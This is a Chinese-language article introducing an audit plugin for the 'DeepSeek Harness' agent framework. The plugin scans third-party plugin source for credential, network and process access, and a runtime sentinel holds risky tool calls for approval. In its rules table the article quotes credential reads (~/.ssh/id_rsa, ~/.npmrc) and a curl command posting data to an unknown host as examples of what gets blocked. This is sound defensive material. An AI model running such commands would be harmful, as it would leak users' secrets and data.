前言¶
DeepSeek Harness(dsh)把模型适配、工具、会话、循环和界面都做成插件,官方仓库用一句话概括:everything is a plugin。社区插件因此增长很快,安装入口也简单:一条 dsh plugin add 就能把 GitHub 仓库挂进当前 profile。
简单也意味着风险跟着权限走。目录页和官方文档都写明:插件以当前 dsh 进程的权限运行,安装时还可能执行代码。第三方插件会不会读 ~/.ssh、写家目录 dotfile、把数据送到未知主机,安装前往往看不出来。社区目录 DeepSeek Harness Plugins 是独立站点,About 页写明它与 DeepSeek / 幻方无官方从属关系,收录也不等于安全审计。
dsh-plugin-audit 做的事情比较具体:在运行第三方插件之前,先对源码做静态权限画像,列出它触及的文件、进程、主机、环境变量和凭据路径,并附文件/行号;装上之后,运行时哨兵还会在工具调用碰到凭据路径或未知主机外连时先拦住,交给你批准。
这是什么¶
dsh-plugin-audit 是一款面向 DeepSeek Harness 的开发与运行时插件,由 jkrandom-sudo 维护,源码在 GitHub 仓库 jkrandom-sudo/dsh-plugin-audit,许可证为 MIT。npm 包名同为 dsh-plugin-audit,当前版本 0.1.2(2026-08-14 发布)。目录页与 GitHub 均显示 4 颗星。主要语言是 TypeScript,peer 依赖 Cordis ^4.0.0-rc.7,Node.js 要求 ^22.19.0 || >=24.0.0。README 写明已对照 2026-08-14 的 DSH 主线快照验证过 web 与 headless 两个 profile。
它解决的不是「替你判定这个插件安不安全」,而是把证据摊开:静态扫描给出权限画像卡;运行时哨兵在工具真正执行前拦截高风险调用。README 的定位是审计辅助,不是杀毒软件:干净报告表示「这些规则没找到证据」,不等于「安全」。
核心功能¶
静态审计:plugin_audit¶
把工具指向任意插件的源码目录(不要指向带 node_modules 的安装产物),它会扫描源码、package.json 和 cordis.patch.yml,返回一张权限画像卡。画像里能看到这些表面是否被代码触及:
- 文件系统读 / 写
- 子进程
- 网络,以及从源码文本提取出的外连主机
- 环境变量,以及看起来像凭据的变量名(例如
GITHUB_TOKEN) - 凭据路径(例如
.npmrc、.ssh) - 动态代码执行
- 注入的 Cordis 服务、声明的依赖、bundle patch
发现项带严重级别、能力类型、位置和说明。README 里的示例卡长这样(节选):
## Plugin audit: fixture-suspicious-plugin
**Risk: REVIEW** — human review recommended before installing
> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)
### Permission profile
| Surface | Observed |
|---|---|
| Filesystem read | **yes** |
| Filesystem write | **yes** |
| Child processes | **yes** |
| Network | **yes** |
| Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` |
| Env variables | `GITHUB_TOKEN`, `HOME` |
| Credential-looking env | `GITHUB_TOKEN` |
| Credential paths | `.npmrc`, `.ssh` |
| Dynamic code execution | **yes** |
工具返回值是 { markdown, risk, filesScanned, findingsCount, writesPerformed }。risk 为 info、notice 或 review。扫描按契约只读:每份报告都带 writesPerformed: false。扫描器只用读句柄,上限 400 个文件、单文件 256 KB,跳过 node_modules、.git、lib、dist。插件自身不发起网络请求,报告里的主机名是从源码文本提取的,不会被访问。
可选伴随插件 dsh-plugin-audit/invariant 会在运行时强制这份只读标记;如果 plugin_audit 的结果丢掉 writesPerformed: false,会话会失败。它已经从包里导出,但有意不写进随包的 cordis.patch.yml:官方 web / base profile 不提供 invariants 服务,挂上那一行会让启动停在 pending。只有 profile 真的提供该服务时,才适合自行加一行 { id: dsh-plugin-audit-invariant, name: 'dsh-plugin-audit/invariant' }。
运行时哨兵¶
哨兵挂在宿主工具管线的 tools/pre-execute waterfall 上,装好后自动监视会话里的每一次工具调用,不需要再调一次工具。待执行调用命中规则时,哨兵返回 ask 并附原因,交给宿主原有的审批提示。没有审批通道时,调用会被拒绝,不会静默放行。
README 列出的三条规则是:
| 规则 | 会触发审批的示例 |
|---|---|
| 任意工具参数引用凭证路径 | read 读 ~/.ssh/id_rsa、bash: cat ~/.npmrc |
shell 外发指向 allowedHosts 之外的主机 |
curl -d @data.json https://collector.unknown.io/x |
| 写工具指向家目录 dotfile | write 写 ~/.zshrc |
哨兵只检查经过 tools/pre-execute 的工具名和调用参数,不读文件、不读环境变量,也不碰参数之外的会话内容。ask 裁决由宿主审批提示处理,插件只通过 ctx.logger 记下原因。
默认配置里 sentinelEnabled 为 true。预批准主机(allowedHosts)默认是 github.com、api.github.com、raw.githubusercontent.com、registry.npmjs.org 和 *.deepseek.com(前导 *. 是后缀规则,同时匹配裸域名)。静态扫描器不读这份名单,发现的网络面都会写进画像。
安装与启用¶
社区目录页给出的安装命令如下,在 DeepSeek Harness 终端里运行即可:
dsh plugin add github:jkrandom-sudo/dsh-plugin-audit
需要可复现安装时,按目录页说明固定 commit 哈希。当前仓库 main 最新提交是 d83ae9a0516533490ff9a93ef686cf19db9fac5d(2026-08-14,对应 v0.1.2):
dsh plugin add github:jkrandom-sudo/dsh-plugin-audit#d83ae9a0516533490ff9a93ef686cf19db9fac5d
README 还提供带 --profile web 的写法,以及从 npm 安装:
# 从 npm 装到 web profile
dsh plugin --profile web add dsh-plugin-audit
# 或从 GitHub 装到 web profile
dsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit
两条 README 命令都会把包写进该 profile 的 dsh.profile.bundles,并应用随包的 cordis.patch.yml(一行:dsh-plugin-audit,sentinelEnabled: true)。重启 profile 后生效。
卸载:
dsh plugin --profile web remove dsh-plugin-audit
README 写明:除 profile 自身的依赖元数据外,本插件不做其他写入,移除依赖和 bundle 行后重启即可。
目录页提醒:插件以当前 dsh 进程的权限运行,安装时可能执行代码。安装前请检查源代码仓库和许可证。
典型用法¶
在已经安装本插件的 profile 会话里,直接说:
用 plugin_audit 审计 ~/some-third-party-plugin 这个插件
也可以让模型按工具参数调用。path 必填,指向插件源码目录;format 为 markdown(默认)或 json:
{ "path": "/absolute/path/to/plugin", "format": "markdown" }
哨兵无需调用。命中未知主机外连时,宿主会弹出类似下面的提示:
⚠ Tool "bash" runs curl toward "collector.unknown.io", which is not in allowedHosts. Outbound data movement needs your confirmation. (批准 / 拒绝)
需要改配置时,编辑 profile 的 cordis.patch.yml 里这一行:
- id: dsh-plugin-audit
name: 'dsh-plugin-audit'
config:
sentinelEnabled: true # 总开关;false = 只保留静态审计
allowedHosts:
- github.com
- api.github.com
- raw.githubusercontent.com
- registry.npmjs.org
- '*.deepseek.com'
正常命令频繁触发询问时,把主机加入 allowedHosts,或把 sentinelEnabled 设为 false,只保留静态审计。agent 看不到 plugin_audit 时,确认包已写入 profile package.json 的 dsh.profile.bundles,并用 --dump-config 检查是否出现 dsh-plugin-audit 行,然后重启。
适用场景与注意事项¶
适合在本机 DeepSeek Harness 上经常试装社区插件的人:安装前对源码目录跑一遍 plugin_audit,看画像里有没有凭据路径、未知主机和动态执行;装上之后让哨兵盯着会话里的工具调用。也适合对照 cordis.patch.yml 看第三方插件声明了什么 bundle 改动。
使用时要注意这些已写进 README 的边界:
- 审计源码,不要审计安装产物。 遍历会跳过
lib/dist,上限 400 文件 / 256 KB。只发布构建产物的包至少会得到 NOTICE,卡片会说明没有源码可扫,而不是给出干净结论。 - 扫描基于源码文本,不是 AST。 注释或字符串里的凭据路径也会上报。维护者把这当成有意设计:卡片是给人看的证据,宁多勿漏。
- 不跟随 symlink。 只读目标树里的真实文件。
- 不要把 invariant 行接到没有
invariants服务的 profile。 启动会报dsh-plugin-audit/invariant: pending (waiting for service: invariants)。随包 patch 默认不含这一行。 - 它不是杀毒软件。 规则是启发式的,干净报告不能当安全背书。发现扫描漏检或哨兵可绕过时,README 建议在仓库开 issue;敏感内容先私下报告。
DeepSeek Harness 仍处于开发者预览,官方 README 用大写标明会有破坏性变更。本插件验证过的是 2026-08-14 主线快照,后续主线升级后需要再核对接线是否还成立。
小结¶
dsh-plugin-audit 把「第三方插件到底碰了什么」从猜测变成带行号的画像,再用运行时哨兵把凭据访问和未知主机外连拦到审批提示上。判断仍留给安装的人。源码、许可证和安装命令以目录页与 GitHub 仓库为准:
- 目录页:https://deepseek-harness-plugin.com/zh-CN/plugins/dsh-plugin-audit/
- GitHub:https://github.com/jkrandom-sudo/dsh-plugin-audit
- npm:https://www.npmjs.com/package/dsh-plugin-audit